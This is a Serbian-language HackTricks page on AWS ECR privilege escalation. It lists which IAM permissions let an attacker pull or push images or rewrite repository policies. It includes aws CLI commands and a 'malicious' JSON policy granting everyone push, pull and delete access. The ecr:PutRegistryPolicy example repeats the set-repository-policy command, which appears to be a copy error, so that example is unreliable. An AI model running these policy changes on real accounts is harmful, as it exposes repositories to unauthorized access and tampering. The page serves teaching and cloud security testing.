AWS - ECR Privesc
Reading time: 3 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
ECR
ecr:GetAuthorizationToken
,ecr:BatchGetImage
Napadač sa ecr:GetAuthorizationToken
i ecr:BatchGetImage
može da se prijavi na ECR i preuzme slike.
Za više informacija o tome kako preuzeti slike:
Potencijalni uticaj: Indirektno eskaliranje privilegija presretanjem osetljivih informacija u saobraćaju.
ecr:GetAuthorizationToken
, ecr:BatchCheckLayerAvailability
, ecr:CompleteLayerUpload
, ecr:InitiateLayerUpload
, ecr:PutImage
, ecr:UploadLayerPart
Napadač sa svim tim dozvolama može da se prijavi na ECR i otpremi slike. Ovo može biti korisno za eskalaciju privilegija u druge okruženja gde se te slike koriste.
Da biste saznali kako da otpremite novu sliku/izmenite jednu, proverite:
ecr-public:GetAuthorizationToken
, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload
, ecr-public:InitiateLayerUpload, ecr-public:PutImage
, ecr-public:UploadLayerPart
Kao u prethodnom odeljku, ali za javne repozitorijume.
ecr:SetRepositoryPolicy
Napadač sa ovom dozvolom može promeniti politiku repozitorijuma kako bi sebi (ili čak svima) dodelio pristup za čitanje/pisanje.
Na primer, u ovom primeru pristup za čitanje je dodeljen svima.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Sadržaj my-policy.json
:
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
ecr-public:SetRepositoryPolicy
Kao u prethodnom odeljku, ali za javne repozitorijume.
Napadač može izmeniti politiku repozitorijuma javnog ECR repozitorijuma kako bi omogućio neovlašćen javni pristup ili da eskalira svoje privilegije.
bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
Potencijalni uticaj: Neovlašćen javni pristup ECR javnom repozitorijumu, što omogućava bilo kojem korisniku da postavlja, preuzima ili briše slike.
ecr:PutRegistryPolicy
Napadač sa ovom dozvolom mogao bi promeniti politiku registra kako bi sebi, svom nalogu (ili čak svima) dodelio pristup za čitanje/pisanje.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.